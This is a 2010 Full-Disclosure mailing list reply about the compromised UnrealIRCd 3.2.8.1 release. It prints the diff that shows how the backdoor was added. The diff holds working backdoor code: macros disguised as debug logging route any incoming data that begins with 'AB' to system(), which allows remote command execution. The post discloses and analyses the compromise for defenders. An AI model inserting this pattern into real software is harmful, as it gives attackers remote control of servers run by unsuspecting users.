[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-Id: <5DF056E0-15FD-4239-87F8-AFD4E9BFA3A9@gmail.com>
Date: Sat, 12 Jun 2010 11:18:46 -0700
From: Andrew Farmer <andfarm@...il.com>
To: full-disclosure Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: Fw: [irc-security] UnrealIRCd 3.2.8.1
backdoored on official ftp and site
On 12 Jun 2010, at 08:09, Henri Salo wrote:
> I'd like to let you know that there's been a compromise of the
> unrealircd website and ftp and the 3.2.8.1 tarball release had been
> replaced by a backdoored copy.
Aaaaand here's the diff. Nature of the backdoor should be obvious upon inspection.
---
diff -ru Unreal3.2-good/include/struct.h Unreal3.2-backdoored/include/struct.h
--- Unreal3.2-good/include/struct.h 2009-04-13 04:03:57.000000000 -0700
+++ Unreal3.2-backdoored/include/struct.h 2009-04-13 04:03:00.000000000 -0700
@@ -430,6 +430,7 @@
#endif
/* Fake lag exception */
+
#define IsNoFakeLag(x) ((x)->flags & FLAGS_NOFAKELAG)
#define SetNoFakeLag(x) ((x)->flags |= FLAGS_NOFAKELAG)
#define ClearNoFakeLag(x) ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
#else
#define IsNotSpoof(x) (1)
#endif
+#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG)
#define GetHost(x) (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
#define GetIP(x) ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
#else
#define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
#endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO "AB"
+#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif
#define DontSendQuit(x) (CHECKPROTO(x, PROTO_NOQUIT))
#define IsToken(x) (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
#define INCLUDE_REMOTE 0x2
#define INCLUDE_DLQUEUED 0x4
#define INCLUDE_USED 0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)
struct _configitem_include {
ConfigItem *prev, *next;
diff -ru Unreal3.2-good/src/s_bsd.c Unreal3.2-backdoored/src/s_bsd.c
--- Unreal3.2-good/src/s_bsd.c 2009-03-01 10:37:58.000000000 -0800
+++ Unreal3.2-backdoored/src/s_bsd.c 2006-06-16 11:29:00.000000000 -0700
@@ -1431,6 +1431,10 @@
return 1;
if (length <= 0)
return length;
+#ifdef DEBUGMODE3
+ if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+ DEBUG3_LOG(readbuf);
+#endif
for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
{
int v = (*(h->func.intfunc))(cptr, readbuf, length);
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists